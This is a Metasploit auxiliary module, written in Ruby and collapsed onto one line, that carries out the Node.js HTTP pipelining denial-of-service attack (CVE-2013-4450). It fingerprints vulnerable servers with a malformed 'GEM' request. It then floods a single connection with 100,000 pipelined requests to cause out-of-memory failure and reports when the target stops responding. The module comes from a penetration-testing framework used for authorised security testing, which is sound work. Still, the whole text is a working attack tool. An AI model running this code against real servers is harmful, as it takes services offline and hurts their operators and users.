## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos def initialize(info = {}) super(update_info(info, 'Name' => 'Node.js HTTP Pipelining Denial of Service', 'Description' => %q{ This module exploits a Denial of Service (DoS) condition in the HTTP parser of Node.js versions released before 0.10.21 and 0.8.26. The attack sends many pipelined HTTP requests on a single connection, which causes unbounded memory allocation when the client does not read the responses. }, 'Author' => [ 'Marek Majkowski', # Vulnerability discovery 'titanous', # Metasploit module 'joev' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2013-4450' ], [ 'OSVDB', '98724' ], [ 'BID' , '63229' ], [ 'URL', 'http://blog.nodejs.org/2013/10/22/cve-2013-4450-http-server-pipeline-flood-dos' ] ], 'DisclosureDate' => 'Oct 18 2013')) register_options( [ Opt::RPORT(80), OptInt.new('RLIMIT', [true, "Number of requests to send", 100000]) ], self.class) end def check # http://blog.nodejs.org/2013/08/21/node-v0-10-17-stable/ # check if we are < 0.10.17 by seeing if a malformed HTTP request is accepted status = Exploit::CheckCode::Unknown connect sock.put(http_request("GEM")) begin response = sock.get_once status = Exploit::CheckCode::Appears if response =~ /HTTP/ rescue EOFError # checking against >= 0.10.17 raises EOFError because there is no # response to GEM requests ensure disconnect end status end def host host = datastore['RHOST'] host += ":" + datastore['RPORT'].to_s if datastore['RPORT'] != 80 host end def http_request(method='GET') "#{method} / HTTP/1.1\r\nHost: #{host}\r\n\r\n" end def run payload = http_request begin print_status("Stressing the target memory...") connect datastore['RLIMIT'].times { sock.put(payload) } print_status("Attack finished. If you read it, it wasn't enough to trigger an Out Of Memory condition.") rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout print_status("Unable to connect to #{host}.") rescue ::Errno::ECONNRESET, ::Errno::EPIPE, ::Timeout::Error print_good("DoS successful. #{host} not responding. Out Of Memory condition probably reached") ensure disconnect end end end